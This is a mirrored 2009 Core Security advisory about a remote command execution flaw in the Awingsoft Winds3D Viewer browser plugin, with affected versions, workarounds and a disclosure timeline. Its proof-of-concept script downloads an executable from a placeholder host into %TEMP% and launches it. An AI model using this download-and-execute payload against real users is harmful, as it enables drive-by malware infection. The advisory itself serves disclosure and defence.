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securityvulnsSecurityvulnsSECURITYVULNS:DOC:22144
HistoryJul 09, 2009 - 12:00 a.m.

[Full-disclosure] CORE-2009-0519 - Awingsoft Awakening Winds3D Viewer remote command execution vulnerability

2009-07-0900:00:00
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~ Core Security Technologies - CoreLabs Advisory
~ http://www.coresecurity.com/corelabs/

Awingsoft Awakening Winds3D Viewer remote command execution vulnerability

  1. Advisory Information

Title: Awingsoft Awakening Winds3D Viewer remote command execution
vulnerability
Advisory ID: CORE-2009-0519
Advisory URL: http://www.coresecurity.com/content/winds3d-viewer-advisory
Date published: 2009-07-08
Date of last update: 2009-07-08
Vendors contacted: Awingsoft
Release mode: User release

  1. Vulnerability Information

Class: Remote command execution
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 35595
CVE Name: CVE-2009-2386

  1. Vulnerability Description

Awingsoft's Awakening is a rapid application authoring tool for
efficiently creating interactive 3D content. With this tool, you can
easily create interactive 3D presentations, animated 3D webs, brief
films or games.

Awakening's Winds3D Viewer [1], which runs as a plugin within most
popular web browsers, is vulnerable to a remotely exploitable arbitrary
command execution vulnerability which can be triggered by making the
user visit a malicious link/website.

  1. Vulnerable packages

~ . Winds3D Viewer v3.5.0.0
~ . Winds3D Viewer v3.0.0.5
~ . Older versions are probably affected too, but were not checked.

  1. Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information. A possible
mitigation action would be to enable MIME type filtering in your
IDS/proxies and block Winds3D traffic: 'application/x-awingsoft-winds3d'

As a workaround, vulnerable users can also avoid this flaw by disabling
the Winds3D Plugin in their web browsers:

5.1. Mozilla Firefox

~ . Go to the Tools menu, and select Options…
~ . Click on the Main tab
~ . Click on the Manage Add-ons…
~ . Disable Winds3D Plugin

5.2. Internet Explorer

~ . Set the kill bit for control
17A54E7D-A9D4-11D8-9552-00E04CB09903 (as explained in
http://support.microsoft.com/kb/240797).

5.3. Opera

~ . Browse opera:plugins
~ . Look for "Winds3D Plugin for Mozilla"
~ . Delete the associated file.
Please contact Awingsoft for further information, patches and workarounds.

  1. Credits

This vulnerability was discovered and researched by Diego Juarez from
Core Security Technologies.

  1. Technical Description / Proof of Concept Code

7.1. Introduction

The vulnerability comes from the way the scripting interface exposes
filesystem access and in particular the way it implements the GetURL method:

/-----------

GetURL(string URL)
Description: Open browser to visit assigned URL
returns: None

  • -----------/

In the current implementation, calling GetURL will ultimately execute
the equivalent of calling 'ShellExecute(NULL, "open", URL, 0, 0,
SW_SHOW);'. Note that the attacker only controls the file to open
(execute), but not the command line parameters.

This, however, coupled with the scripting interface's ability to
download arbitrary files to arbitrary paths constitutes a remotely
exploitable arbitrary code execution vulnerability which can be
triggered by making the user visit a malicious link/website.

7.2. Proof of concept

The following script (.usr) demonstrates the vulnerability. It downloads
a malicious binary file to the victim machine and then executes it.

/-----------

  • – download
    require 'scripts\\websession'
    require 'scripts\\webfile'

  • – evil file to download
    local szURL='http://somesite/exploit.exe'

  • – setup download evil file from the web
    ses=websession.new()
    file=ses.openURL(szURL)
    local destfilename=GetTempFileName() – we always want
    to download to the %TEMP% directory (write access = sure thing)
    destfilename=string.gsub(destfilename, ".tmp", ".exe") – rename to
    something shellexecute will launch
    file.setDestFile(destfilename)
    local filesize=file.seek(0,FILE_END)
    file.seek(0,FILE_BEGIN)
    local bytescount=0
    local readbytes=file.read()
    while (readbytes>0) do
    bytescount=bytescount + readbytes
    readbytes=file.read()
    end

  • – close the descriptors
    file.release()
    ses.release()

  • – execute
    GetURL(destfilename)

  • -----------/

  1. Report Timeline

. 2009-05-19:
Core Security Technologies notifies Awingsoft of the vulnerability (no
reply received).

. 2009-06-29:
Core notifies again Awingsoft of the vulnerability (no reply received).

. 2009-07-08:
Since Awingsoft did not respond any notification, Core decides to
publish the advisory CORE-2009-0519 as "User release".

  1. References

[1] Awingsoft's Awakening viewer (AKA Winds3D viewer)
http://www.awingsoft.com/web3d/web3d.htm

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.

  1. About Core Security Technologies

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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